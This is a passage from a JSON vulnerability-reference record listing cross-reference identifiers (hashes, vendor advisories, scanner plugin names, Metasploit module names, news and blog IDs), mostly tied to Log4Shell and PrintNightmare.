"E1810AD4BA382A8D222D20A49D11C634E6C5240D3F69652E51FC068062DED465", "E2E1AB8B9E10CF0970D428552F10FD3FEA7D405315E7CCA6431E3F0E8079B159", "E36B23DB3CC2EC748DF333353AEDE5A1F8FAA97C1F1DC67E27CD4759E7D0C960", "E3C82809E8425A65E53029135451CC9579AA725E2D85009F892DD0A0FD979ED9", "E41278F69BC61D835FAC88FBCE06075D73C74B99B009DE680A92B2B68FE577DB", "E636319395E5D666C247860149142969762B284D3BE296819A5644E6AE6DDA15", "E679F241D5F455DCABCB653D142792B97352015B6DD79A1EB36DB0B4D54B2902", "E67F6EE1C05A0DFBB7E42F8DDE81795FCC3D933297C925E42690163F0C1D21A6", "E775C68CA18D51E91E688F1880BD5AF1955B5F4DF7397FA28CC721E37DAFB99A", "E7E10B1CFDE7DBAE5E93EB8EF50E03FCA4DAE3C0D9270B040B02BCEE5D0199B9", "E8302DECE1CECF16A05E7F8FBA08D33074F30279F18CDDBABA912B9C9DF9F32D", "E84CA6147175A22CB9253587142088EB24B6AE0BD11EC07E71E299F57DD05739", "E8825B71ACE31BFAA5662E2357C5EEB425BA842AC21E60C761364799BFD2FEE3", "EA69F3ACF81616FFD52E1EC0A74B074CC736B3675D7B61644018A9252D9BD284", "EACE8EC2B7164C19E5BA497C1D57887C847EC033403098801408B0F6BB2B6736", "EBDD1B77CC71D5E7D7E88D21F7F8C7988F44B743E7ABCFC5258E806235EC65A9", "ECC7277FA4D1E6C0C387927905899E353FF202FB061043E0FC8C0DBCF3150F7E", "ED7164C07048A48E59D18BAADA456D0655A81F29CABBDEFA06735647C2B759EA", "ED78D94545EF8A4A811D2C198EC427B8C46CA1FE3BBC9D6A2DC20DD440CB6FDC", "EDA30B3C2FB2766DFAA280B3B5E960EC660172EBFF7B73A524DCE514A3A3F985", "EF05485B7227E17E422CCBDF0EC02D62F554406DEDDDC7A1772D75D577035F79", "EF5F7BA296D0A7B4B6CC058D9B89B1BFEE714F79C2BC4541813DA99A292450B9", "EF71291A92B5250A0A03CC8B24766E487991713BE06BEFF3A0428155C170ECB7", "EFA06779A2DA162F7F70171BAC9D53E998DA486C75081458549AFE875DB6E5B5", "EFC94A6E1DA52C8EA7A5811D6A4381770FA24130DB4CFD911120046DD916261B", "EFD4687D2DC8ADFBEC960932263D6DA222DDFA92899BC72A9B9D62B4331178A6", "F0166F21D9D8651F7C71CAAA5131EEC4CE044F990491482A736F6DD767A3EC0F", "F0259373A53F6B73B3C7BD9A2F3F10DB053D9CC563866E61F5A496D33B416EA9", "F0806D2A2F2817DD3A11695DB658C0C7C64B134E8875822DCE8F5D73AC04E97B", "F16DAE77B5D6C7D782818596F851DFFB29226C0550922519EFC4250E27D09D67", "F18F021F8259C21D1B03D3A3C3F5FD97D6A165E424FE86F9986F545F5A914F8E", "F20E63C2D2D2AA05D977555688CD3131DF08DA240FDFCEB0B017DF8A789BCCEE", "F2901ADEFFDC496A6F27CBD82624C55C4B805D9C77EBED14A24ED2CCC730C354", "F3EF1FC432D040B91FC6C5AEB324AF8CE32BCFB7A9A0360FC4722981B736F64F", "F435C74BF942E3B3A5FEF2B742E716E29826D42678DE6AB053B1766FC7314452", "F89923018671257EB76989AE7AB9D39396FBAD6F8846CB56D6915361F1CCCC48", "F8F03C35A3C8AEA5027E6C01D991D7E1C3A4A0C9EAE0D875ACF760D1D56B8B9C", "F9CD245944BE763583F94B01BC23C08D6F82CA4989F000C1D0842D4005C4EF11", "FA8CCED2D5B77B978F428FA2F61CD879A13EF9DAC53A5435AC48BEE003AC2363", "FC9172D16F62D7749E6C1369AB9D86ABC42163C780B457F765109BE80ACAD9CF", "FD7B4551E68C6A5B21AD8C3E07FF7CB6ED5402B6F6CD6D419A3FCC60FFB43FC4", "FD90B8CB0F60381B89DB489D4F28883B2B08D5BF67796B29DF21E510CCF7594F", "FEC06635C46DD9EB6B2F50E66A9B098564986FB86BF7FDE8DBF9F7E295CE3162", "FFB1DE47049D302B3C804FCFC90E8D4C1A715F59A9B241F24946D4A7A6598C10", "FFB480E3AA8E74E184658371B22D113F0FB890C232EB9EE9B8A8294BE098DDAE", "FFF0238333AAC9C302B602B36ADA76C6BDDE2A493106B114D0A3A45C8740777D"]}, {"type": "ics", "idList": ["ICSA-21-357-02", "ICSA-22-034-01"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:0009F92C7DBF6D1163E64AF402687506", "IMPERVABLOG:357497C932E21C66FB08D2C9B8EE9CA2", "IMPERVABLOG:5E03360E0443A626205E9BCF969114F6", "IMPERVABLOG:7CB37AC69862942C5D316E69A7815579", "IMPERVABLOG:B4C9A56D0F82346F616E74B1CFB10A5D", "IMPERVABLOG:B69DFFED5C2E2C9D2F9917E3F4915200", "IMPERVABLOG:BB63986B2DE2CCB2C65DD3747791097F", "IMPERVABLOG:BE9CCB7ADF74E2AEFC999FEE704CDE71", "IMPERVABLOG:BEE8EB9D446D0AF62464EE59DFA0CE0E", "IMPERVABLOG:DB0BBA5A6E2E523FAA7F7A73C45FEA96"]}, {"type": "intel", "idList": ["INTEL:INTEL-SA-00646"]}, {"type": "kaspersky", "idList": ["KLA12213", "KLA12214", "KLA12250", "KLA12259", "KLA12277", "KLA12278", "KLA12390", "KLA12392", "KLA12393", "KLA12395", "KLA12396", "KLA12442"]}, {"type": "kitploit", "idList": ["KITPLOIT:1207079539580982634", "KITPLOIT:134021490040098714", "KITPLOIT:144331229809700743", "KITPLOIT:1624142243530526923", "KITPLOIT:1680589374755422772", "KITPLOIT:232707789076746523", "KITPLOIT:2590785192528609562", "KITPLOIT:3188944951765917430", "KITPLOIT:3456474172768099634", "KITPLOIT:3697667464193804316", "KITPLOIT:3773942873037113539", "KITPLOIT:4033244480100620751", "KITPLOIT:4074521293617632933", "KITPLOIT:4125185526326677098", "KITPLOIT:4333067961180534072", "KITPLOIT:4462385753504235463", "KITPLOIT:4654779182065061303", "KITPLOIT:5104415481503400470", "KITPLOIT:5187040326820919368", "KITPLOIT:522409803487164759", "KITPLOIT:5230148353750207837", "KITPLOIT:5734436811250397170", "KITPLOIT:5789499291738758939", "KITPLOIT:6411625084720414057", "KITPLOIT:6422486000446318290", "KITPLOIT:6759391622067035795", "KITPLOIT:698315176468431184", "KITPLOIT:7847586937102427883", "KITPLOIT:7976092996345827446", "KITPLOIT:8031680161397698025", "KITPLOIT:8148701901300660800", "KITPLOIT:8266451932034361580", "KITPLOIT:866017936175971203", "KITPLOIT:8945091038325456871", "KITPLOIT:942518396640901655"]}, {"type": "krebs", "idList": ["KREBS:2EC42B845847A6DCFE50ECEB9FF61C29", "KREBS:3CC49021549439F95A2EDEB2029CF54E", "KREBS:409088FC2DFC219B74043104C2B672CC", "KREBS:5FA70C019AB463F5E02A97C6891685D8", "KREBS:831FD0B726B800B2995A68BA50BD8BE3"]}, {"type": "mageia", "idList": ["MGASA-2021-0556", "MGASA-2021-0566"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:1B8D17909172F80C0F82CB21FDFC33B2", "MALWAREBYTES:39A05D4A4EC81966F7A1721DFACB3470", "MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "MALWAREBYTES:4CB01833826116B2823401DFB69A5431", "MALWAREBYTES:76333D1F0FCAFD79FA2EDD4A4CAFBB38", "MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "MALWAREBYTES:801E20618F96EF51F9E60F7BC7906C2B", "MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0", "MALWAREBYTES:A325F8FB1D527BD3C6C1C3A187840632", "MALWAREBYTES:B8C767042833344389F6158273089954", "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "MALWAREBYTES:DB34937B6474073D9444648D34438225", "MALWAREBYTES:DB54B348AF1AC41987150B5CE7B1BC66", "MALWAREBYTES:F1563A57212EB7AEC347075E94FF1605", "MALWAREBYTES:FC8647475CCD473D01B5C0257286E101"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY-SCANNER-HTTP-LOG4SHELL_SCANNER-", "MSF:EXPLOIT-LINUX-HTTP-MOBILEIRON_CORE_LOG4SHELL-", "MSF:EXPLOIT-MULTI-HTTP-LOG4SHELL_HEADER_INJECTION-", "MSF:EXPLOIT-MULTI-HTTP-VMWARE_VCENTER_LOG4SHELL-", "MSF:EXPLOIT-WINDOWS-DCERPC-CVE_2021_1675_PRINTNIGHTMARE-", "MSF:EXPLOIT-WINDOWS-FILEFORMAT-WORD_MSHTML_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:1E3441B57C08BC18202B9FE758C2CA71", "MMPC:27EEFD67E5E7E712750B1472E15C5A0B", "MMPC:42ECD98DCF925DC4063DE66F75FB5433", "MMPC:567C6CC66BD942B4F1BBE84ED9F6665B", "MMPC:795E0A765679492C51FEFA2B19EAD597", "MMPC:BB2F5840056D55375C4A19D2FF07C695", "MMPC:F36351D1B5A5C40989F46EF8729039A7"]}, {"type": "mscve", "idList": ["MS:CVE-2021-1675", "MS:CVE-2021-34527", "MS:CVE-2021-36942", "MS:CVE-2021-40444", "MS:CVE-2021-44228"]}, {"type": "mskb", "idList": ["KB5004945", "KB5004946", "KB5004947", "KB5004948", "KB5004950", "KB5004951", "KB5004953", "KB5004954", "KB5004955", "KB5004956", "KB5004958", "KB5004959", "KB5004960", "KB5005030", "KB5005031", "KB5005033", "KB5005040", "KB5005043", "KB5005076", "KB5005088", "KB5005089", "KB5005090", "KB5005094", "KB5005095", "KB5005099", "KB5005106", "KB5005563"]}, {"type": "msrc", "idList": ["MSRC:236F052536DCDE6A90F408B759E221BC", "MSRC:239E65C8BEB88185329D9990C80B10DF", "MSRC:543F3A129A47F4B14FB170389908717B", "MSRC:8DDE6C6C2CBC080233B7C0F929E83062", "MSRC:90189138D61770FDBFA4D6BFCF043C7F", "MSRC:9783BD8B3A34301D0C5C34D252854BDF", "MSRC:C6213215CC0BE4847F142F730607AFA2", "MSRC:CB3C49E52425E7C1B0CFB151C6D488A4", "MSRC:D3EB0B723121A9028F60C06787605F29"]}, {"type": "mssecure", "idList": ["MSSECURE:1E3441B57C08BC18202B9FE758C2CA71", "MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "MSSECURE:42ECD98DCF925DC4063DE66F75FB5433", "MSSECURE:567C6CC66BD942B4F1BBE84ED9F6665B", "MSSECURE:795E0A765679492C51FEFA2B19EAD597", "MSSECURE:BB2F5840056D55375C4A19D2FF07C695", "MSSECURE:F36351D1B5A5C40989F46EF8729039A7"]}, {"type": "nessus", "idList": ["AL2022_ALAS2022-2022-225.NASL", "AL2_ALAS-2021-001.NASL", "AL2_ALAS-2021-1730.NASL", "AL2_ALAS-2021-1731.NASL", "AL2_ALAS-2021-1732.NASL", "AL2_ALAS-2022-1773.NASL", "AL2_ALAS-2022-1806.NASL", "AL2_ALASCORRETTO8-2021-001.NASL", "AL2_ALASJAVA-OPENJDK11-2021-001.NASL", "ALA_ALAS-2021-1553.NASL", "ALA_ALAS-2021-1554.NASL", "ALA_ALAS-2022-1562.NASL", "ALA_ALAS-2022-1580.NASL", "ALA_ALAS-2022-1601.NASL", "ALMA_LINUX_ALSA-2022-0290.NASL", "APACHE_APEREO_CAS_LOG4SHELL.NBIN", "APACHE_DRUID_LOG4SHELL.NBIN", "APACHE_JSPWIKI_LOG4SHELL.NBIN", "APACHE_LOG4J_2_15_0.NASL", "APACHE_LOG4J_2_16_0.NASL", "APACHE_LOG4J_JDNI_LDAP_GENERIC.NBIN", "APACHE_LOG4J_JDNI_LDAP_GENERIC_HTTP_HEADERS.NBIN", "APACHE_LOG4J_JDNI_LDAP_GENERIC_TELNET.NBIN", "APACHE_LOG4J_JNDI_LDAP_GENERIC_RAW.NBIN", "APACHE_LOG4J_WIN_2_15_0.NASL", "APACHE_LOG4SHELL_DNS.NBIN", "APACHE_LOG4SHELL_IMAP.NBIN", "APACHE_LOG4SHELL_MSRPC.NBIN", "APACHE_LOG4SHELL_NETBIOS.NBIN", "APACHE_LOG4SHELL_POP3.NBIN", "APACHE_LOG4SHELL_SMTP.NBIN", "APACHE_LOG4SHELL_SNMP.NBIN", "APACHE_LOG4SHELL_SSH.NBIN", "APACHE_LOG4SHELL_UPNP.NBIN", "APACHE_OFBIZ_LOG4SHELL.NBIN", "APACHE_SOLR_LOG4SHELL.NBIN", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-CUIC.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-ISE.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-SDWAN-VMANAGE.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-UCS-DIRECTOR.NASL", "DEBIAN_DLA-2842.NASL", "DEBIAN_DLA-2905.NASL", "DEBIAN_DSA-5020.NASL", "DEBIAN_DSA-5022.NASL", "EULEROS_SA-2022-1276.NASL", "FREEBSD_PKG_1EA05BB85D7411ECBB1E001517A2E1A4.NASL", "FREEBSD_PKG_3FADD7E4F8FB45A0A2188FD6423C338F.NASL", "FREEBSD_PKG_4B1AC5A35BD411EC8602589CFC007716.NASL", "FREEBSD_PKG_515DF85A5CD711ECA16D001517A2E1A4.NASL", "FREEBSD_PKG_650734B2766541709A0AEECED5E10A5E.NASL", "FREEBSD_PKG_93A1C9A75BEF11ECA47A001517A2E1A4.NASL", "FREEBSD_PKG_B0F49CB9673611EC9EEA589CFC007716.NASL", "GENTOO_GLSA-202209-02.NASL", "LOG4J_LOG4SHELL_FTP.NBIN", "LOG4J_LOG4SHELL_NTP.NBIN", "LOG4J_LOG4SHELL_PPTP.NBIN", "LOG4J_LOG4SHELL_RPCBIND.NBIN", "LOG4J_LOG4SHELL_SIP_INVITE.NBIN", "LOG4J_LOG4SHELL_SMB.NBIN", "LOG4J_LOG4SHELL_WWW.NBIN", "LOG4J_VULNERABLE_ECOSYSTEM_LAUNCHER.NASL", "MACOS_SPLUNK_824.NASL", "MOBILEIRON_LOG4SHELL.NBIN", "NUTANIX_NXSA-AOS-5_20_4.NASL", "NUTANIX_NXSA-AOS-6_0_2_5.NASL", "NUTANIX_NXSA-AOS-6_1.NASL", "NUTANIX_NXSA-AOS-6_1_1.NASL", "OPENSUSE-2021-1577.NASL", "OPENSUSE-2021-1586.NASL", "OPENSUSE-2021-1601.NASL", "OPENSUSE-2021-1612.NASL", "OPENSUSE-2021-1613.NASL", "OPENSUSE-2021-1631.NASL", "OPENSUSE-2021-3999.NASL", "OPENSUSE-2021-4094.NASL", "OPENSUSE-2021-4107.NASL", "OPENSUSE-2021-4109.NASL", "OPENSUSE-2021-4111.NASL", "OPENSUSE-2021-4112.NASL", "OPENSUSE-2022-0038-1.NASL", "ORACLELINUX_ELSA-2021-5206.NASL", "ORACLELINUX_ELSA-2022-0290.NASL", "ORACLELINUX_ELSA-2022-9056.NASL", "ORACLE_PRIMAVERA_GATEWAY_CPU_JAN_2022.NASL", "ORACLE_PRIMAVERA_P6_EPPM_CPU_JAN_2022.NASL", "PALO_ALTO_LOG4SHELL.NASL", "REDHAT-RHSA-2022-1296.NASL", "REDHAT-RHSA-2022-1297.NASL", "SMB_NT_MS21_AUG_5005030.NASL", "SMB_NT_MS21_AUG_5005043.NASL", "SMB_NT_MS21_AUG_5005089.NASL", "SMB_NT_MS21_AUG_5005094.NASL", "SMB_NT_MS21_AUG_5005095.NASL", "SMB_NT_MS21_AUG_5005106.NASL", "SMB_NT_MS21_IE_SEPT_2021.NASL", "SMB_NT_MS21_JUL_5004945.NASL", "SMB_NT_MS21_JUL_5004946.NASL", "SMB_NT_MS21_JUL_5004947.NASL", "SMB_NT_MS21_JUL_5004948.NASL", "SMB_NT_MS21_JUL_5004950.NASL", "SMB_NT_MS21_JUL_5004951.NASL", "SMB_NT_MS21_JUL_5004958.NASL", "SMB_NT_MS21_JUL_5004959.NASL", "SMB_NT_MS21_JUL_5004960.NASL", "SMB_NT_MS21_JUL_CVE-2021-34527_REG_CHECK.NASL", "SMB_NT_MS21_SEP_5005565.NASL", "SMB_NT_MS21_SEP_5005566.NASL", "SMB_NT_MS21_SEP_5005568.NASL", "SMB_NT_MS21_SEP_5005569.NASL", "SMB_NT_MS21_SEP_5005573.NASL", "SMB_NT_MS21_SEP_5005613.NASL", "SMB_NT_MS21_SEP_INTERNET_EXPLORER.NASL", "SOLR_CVE-2021-44228.NASL", "SPLUNK_824.NASL", "SUSE_SU-2021-14866-1.NASL", "SUSE_SU-2021-4111-1.NASL", "SUSE_SU-2021-4112-1.NASL", "SUSE_SU-2021-4115-1.NASL", "UBIQUITI_UNIFI_NETWORK_LOG4SHELL.NBIN", "UBUNTU_USN-5192-1.NASL", "UBUNTU_USN-5192-2.NASL", "UBUNTU_USN-5197-1.NASL", "UBUNTU_USN-5223-1.NASL", "VMWARE_HORIZON_LOG4SHELL.NBIN", "VMWARE_VCENTER_LOG4SHELL.NBIN", "VMWARE_VREALIZE_OPERATIONS_MANAGER_LOG4SHELL.NBIN", "WEB_APPLICATION_SCANNING_113075", "WINDOWS_PETITPOTAM.NBIN"]}, {"type": "nvidia", "idList": ["NVIDIA:5294", "NVIDIA:5295"]}, {"type": "oracle", "idList": ["ORACLE:CPUJAN2022", "ORACLE:CPUJAN2023", "ORACLE:CPUOCT2022"]}, {"type": "osv", "idList": ["OSV:DLA-2842-1", "OSV:DSA-5020-1", "OSV:DSA-5022-1", "OSV:GHSA-3QPM-H9CH-PX3C", "OSV:GHSA-7RJR-3Q55-VV33", "OSV:GHSA-FP5R-V3W9-4333", "OSV:GHSA-J3CH-VJPH-8Q6V", "OSV:GHSA-J7C3-96RF-JRRP", "OSV:GHSA-JFH8-C2JP-5V3Q", "OSV:GHSA-MF4F-J588-5XM8", "OSV:GHSA-V57X-GXFJ-484Q"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165214", "PACKETSTORM:165261", "PACKETSTORM:165270", "PACKETSTORM:165532", "PACKETSTORM:165642", "PACKETSTORM:165673", "PACKETSTORM:167261", "PACKETSTORM:167317", "PACKETSTORM:167917", "PACKETSTORM:170178"]}, {"type": "paloalto", "idList": ["PA-CVE-2021-44228"]}, {"type": "pentestpartners", "idList": ["PENTESTPARTNERS:E6B48FF79C5D0D1E4DD360F6010F2A93"]}, {"type": "qt", "idList": ["QT:7EFAEDCED59EA2EE3AB98A0A484C5825"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:0EAB7251347951045CAC549194E33673", "QUALYSBLOG:0F0ACCA731E84F3B1067935E483FC950", "QUALYSBLOG:12BC089A56EB28CFD168EC09B070733D", "QUALYSBLOG:13C1A00A7D0A7B1BB16D0AB5B1E9B51A", "QUALYSBLOG:15D6ABF4D9A50D86E63BA4553A0CD3C6", "QUALYSBLOG:33FD0B08A1B2E414EAA2ADDFCDFE0EB1", "QUALYSBLOG:3F1898282AF38991E0B849D7A68D2A2B", "QUALYSBLOG:3FADA4B80DBBF178154C0729CFC1358F", "QUALYSBLOG:42335884011D582222F08AEF81D70B94", "QUALYSBLOG:485C0D608A0A8288FF38D618D185D2A2", "QUALYSBLOG:5059D1C3913FB6542F3283A66F9B3A43", "QUALYSBLOG:5576D16DC39617927D8AEFF027CC0911", "QUALYSBLOG:5A5094DBFA525D07EBC3EBA036CDF81A", "QUALYSBLOG:5F3A665821FA30373004EC52F5104E15", "QUALYSBLOG:5FAC1C82A388DBB84ECD7CD43450B624", "QUALYSBLOG:6652DB89D03D8AA145C2F888B5590E3F", "QUALYSBLOG:68BBBF644900DA0A883AABB0E4E3F28B", "QUALYSBLOG:6C71B912ABF74BE51F014EC90669CF30", "QUALYSBLOG:9E3CACCA2916D132C2D630A8C15119F3", "QUALYSBLOG:A0F20902D80081B44813D92C6DCCDAAF", "QUALYSBLOG:A730164ABD0AA0A58D62EAFAB48628AD", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "QUALYSBLOG:C2ECE416E32C6CC230B13471D41A4E03", "QUALYSBLOG:C3C14B989683A02C2C9A98CE918FBC3C", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:CD2337322AF45A03293696D535E4CBF8", "QUALYSBLOG:D38E3F9D341C222CBFEA0B99AD50C439", "QUALYSBLOG:EB91FABB1A5D9C2526980E996ED61260", "QUALYSBLOG:EBDC158D70A96D1C65D2AEE5C285A069"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:02EDDA927928C11A6D10A4A0D17823AF", "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "RAPID7BLOG:0576BE6110654A3F9BF7B9DE1118A10A", "RAPID7BLOG:078D5EE222682A75AE1A1A3A3684E38D", "RAPID7BLOG:0C5C51ED53983B92C7C9805E820366C9", "RAPID7BLOG:18CF89AA3B9772E6A572177134F45F3A", "RAPID7BLOG:18D49792276E208F17E7D64BCE2FDEF6", "RAPID7BLOG:1D39E7BBA13704DCBB8153C89ABE6B72", "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "RAPID7BLOG:2FC92FBE5A4445611C80C7C3FA7D9354", "RAPID7BLOG:2FFDE45F01FA44216BE91DD7AFA0D060", "RAPID7BLOG:45A121567763FF457DE6E50439C2605A", "RAPID7BLOG:45B045D2EE21432DF9939E4402522BFC", "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "RAPID7BLOG:4CDB288231FA4BF52C0067D9D4FEABBF", "RAPID7BLOG:57AB78EC625B6F8060F1E6BD668BDD0C", "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:602109CBDD808C41E4DDC9FBC55E144D", "RAPID7BLOG:6EADCD983283E3D546EF2907978E95F1", "RAPID7BLOG:6F833E0DB9E152EB8397D33430FECB7F", "RAPID7BLOG:7767347A5784FF1C4901601A1A21D2C8", "RAPID7BLOG:7F1312E79E0925118565C90443170051", "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "RAPID7BLOG:9171BB636F16B6AC97B939C701ABE971", "RAPID7BLOG:97E3CA7ED938F3DF6E967C832F314FA3", "RAPID7BLOG:9CB105938BDE92F573A2DE68BC20CF46", "RAPID7BLOG:AB5C0BC130F45073226CC41D25680EA0", "RAPID7BLOG:AE824D3989C792700A622C455D8EE160", "RAPID7BLOG:AF9E6199C63A57B22FAE6AAEDD650D39", "RAPID7BLOG:B6DE24165AA9AA83EDA117170EDDAD44", "RAPID7BLOG:BE60EE9A1ACB3CEE4593041ECAFA8D95", "RAPID7BLOG:C6C1B8357ABD28AEB0F423A0A099098A", "RAPID7BLOG:CB62092B4C7E70876CF276BA04DD7597", "RAPID7BLOG:CC071AA6971D64B0F7A596B2BBD5F046", "RAPID7BLOG:D185BF677E20E357AFE422CFB80809A5", "RAPID7BLOG:D1E1A150733F5AFC2C704DB26E7EAB30", "RAPID7BLOG:D214650E6EFB584624DA76ACB1573C1B", "RAPID7BLOG:D9E3C0B84D67BD0A26DEAD5F6F4EAAC4", "RAPID7BLOG:DE426F8A59CA497BB6C0B90C0F1849CD", "RAPID7BLOG:E3D08ECAA9A93569D5544F4D6AAEEB74", "RAPID7BLOG:E43819A7DE1DD0F60E63E67A27B9301B", "RAPID7BLOG:ED80467D2D29D8DC10E754C9EA19D9AD", "RAPID7BLOG:F14526C6852230A4E4CF44ADE151DF49", "RAPID7BLOG:F14E17E573386DB3DDD27A8E829E49A1", "RAPID7BLOG:F37BD0C67170721734A26D15E6D99B3E", "RAPID7BLOG:F76EF7D6AB9EB07FC8B8BCE442DC3A69", "RAPID7BLOG:F9B4F18ABE4C32CD54C3878DD17A8630", "RAPID7BLOG:FB97B7B381BE98BE0077666DFDEC1953", "RAPID7BLOG:FBEE52CB3C438E4C42D6212E07BEFEA9"]}, {"type": "redhat", "idList": ["RHSA-2021:5093", "RHSA-2021:5094", "RHSA-2021:5106", "RHSA-2021:5107", "RHSA-2021:5108", "RHSA-2021:5126", "RHSA-2021:5127", "RHSA-2021:5128", "RHSA-2021:5129", "RHSA-2021:5130", "RHSA-2021:5132", "RHSA-2021:5133", "RHSA-2021:5134", "RHSA-2021:5137", "RHSA-2021:5138", "RHSA-2021:5140", "RHSA-2021:5141", "RHSA-2021:5148", "RHSA-2021:5183", "RHSA-2021:5184", "RHSA-2021:5186", "RHSA-2022:0082", "RHSA-2022:0083", "RHSA-2022:0203", "RHSA-2022:0205", "RHSA-2022:0216", "RHSA-2022:0222", "RHSA-2022:0223", "RHSA-2022:0296", "RHSA-2022:1296", "RHSA-2022:1297", "RHSA-2022:1299"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-4104", "RH:CVE-2021-4125", "RH:CVE-2021-44228", "RH:CVE-2021-44832", "RH:CVE-2021-45046", "RH:CVE-2021-45105"]}, {"type": "securelist", "idList": ["SECURELIST:0C07A61E6D92865F5B58728A60866991", "SECURELIST:0ED76DA480D73D593C82769757DFD87A", "SECURELIST:11665FFD7075FB9D59316195101DE894", "SECURELIST:29152837444B2A7E5A9B9FCB107DAB36", "SECURELIST:52D1B0F6F56EE960CC02B969556539D6", "SECURELIST:63306FA6D056BD9A04969409AC790D84", "SECURELIST:7A375F44156FACA25A0B3990F2CD73C1", "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "SECURELIST:9CC623A02615C07A9CEABD0C58DE7931", "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "SECURELIST:C1F2E1B6711C8D84F3E78D203B3CE837", "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "SECURELIST:E21F9D6D3E5AFD65C99FC385D4B5F1DC"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:1577-1", "OPENSUSE-SU-2021:1586-1", "OPENSUSE-SU-2021:1601-1", "OPENSUSE-SU-2021:1613-1", "OPENSUSE-SU-2021:3999-1", "OPENSUSE-SU-2021:4094-1", "OPENSUSE-SU-2021:4107-1", "OPENSUSE-SU-2021:4109-1"]}, {"type": "symantec", "idList": ["SMNTC-19793"]}, {"type": "talosblog", "idList": ["TALOSBLOG:0AA83DE1427426ABF4723FDF049F6EEB", "TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D", "TALOSBLOG:AFFA9F54A1744A8B65903B06E9C56C3A", "TALOSBLOG:C9F50677FB4030903E6114F7C17FD8DB"]}, {"type": "thn", "idList": ["THN:10A732F6ED612DC7431BDC9A3CEC3A29", "THN:161777F5DB73EF3AB5B13EF9F11E3374", "THN:1D10167F5D53B2791D676CF56488D5D9", "THN:2656971C06C4E3D4B0A8C0AC02BBB775", "THN:365025B2416483B34C70F02EDA44131E", "THN:368B6517F020AB4BF1B2344EDC8234A4", "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "THN:4DE731C9D113C3993C96A773C079023F", "THN:4E80D9371FAC9B29044F9D8F732A3AD5", "THN:59AE75C78D4644BFA6AD90225B3DE0C1", "THN:5BAE3325983F971D1108722C454FF9AB", "THN:5CB7AEBFFE369D293598A4FDBFDFCEE3", "THN:602D65D576B090BAC4B0C96998F8F922", "THN:6428957E9DED493169A2E63839F98667", "THN:668DE2C9CFD709125451AF8F3FE12E6C", "THN:67ECC712AB360F5A56F2434CDBF6B51F", "THN:686DDFA07B415C41BA7AB9B8970557EF", "THN:76D7572EDBE770410D6F0518DAD8B0AD", "THN:76F500CE84314456F7B0E4DD1D56D971", "THN:7958F9B1AA180122992C6A0FADB03536", "THN:802C6445DD27FFC7978D22CC3182AD58", "THN:833B2B9623F1C64D20868B947E8BE4E0", "THN:83D31EE6B3E59778D812B3B7E67D7CD6", "THN:849B821D3503018DA38FAFFBC34DAEBB", "THN:8755093D287CCB8F16A1A7CD3BDB6ACF", "THN:8A60310AB796B7372A105B7C8811306B", "THN:933FE23273AB5250B949633A337D44E1", "THN:959FD46A8D71CA9DDAEDD6516113CE3E", "THN:9CE630030E0F3E3041E633E498244C8D", "THN:9FD8A70F9C17C3AF089A104965E48C95", "THN:A52CF43B8B04C0A2F8413E17698F9308", "THN:AFF2BD38CB9578D0F4CA96A145933627", "THN:B399D1943153CEEF405B85D4310C2142", "THN:BD014635C5F702379060A20290985162", "THN:C4188C7A44467E425407D33067C14094", "THN:C73B84809CDC20C90C26FF1B7F56F5D4", "THN:CAFA6C5C5A34365636215CFD7679FD50", "THN:CE191128AE56CD5C614344408C285C87", "THN:CF5E93184467C7B8F56A517CE724ABCF", "THN:D4E86BD8938D3B2E15104CA4922A51F8", "THN:DF2B6840863D6847D7088B1A07B19A4A", "THN:E27BF56DBA34B1A89BD29AEB5A6D8405", "THN:E7762183A6F7B3DDB942D3F1F99748F6", "THN:E7E8D45492BAD83E88C89D34F8502485", "THN:ECDABD8FB1E94F5D8AFD13E4C1CB5840", "THN:F35E41E26872B23A7F620C6D8F7E2334", "THN:F601EBBE359B3547B8E79F0217562FEF"]}, {"type": "threatpost", "idList": ["THREATPOST:02A472487653A461080415A3F7BB23D2", "THREATPOST:03FC9E97BBF9730C5990E8A220DD5E9A", "THREATPOST:065F7608AC06475E765018E97F14998D", "THREATPOST:075BA69792AA7B1AE4C28E1CBE61E360", "THREATPOST:08E51C6FB9418179611DF2ACFB1073BF", "THREATPOST:09118C676E28AC5D7BB791E76F75453C", "THREATPOST:0B290DDF3FE14178760FDC2229CB1383", "THREATPOST:0C3BAA4DB9E2B5E8A30DD20A987FCE03", "THREATPOST:0FD7F2FA7F2D3383F582553124EA843D", 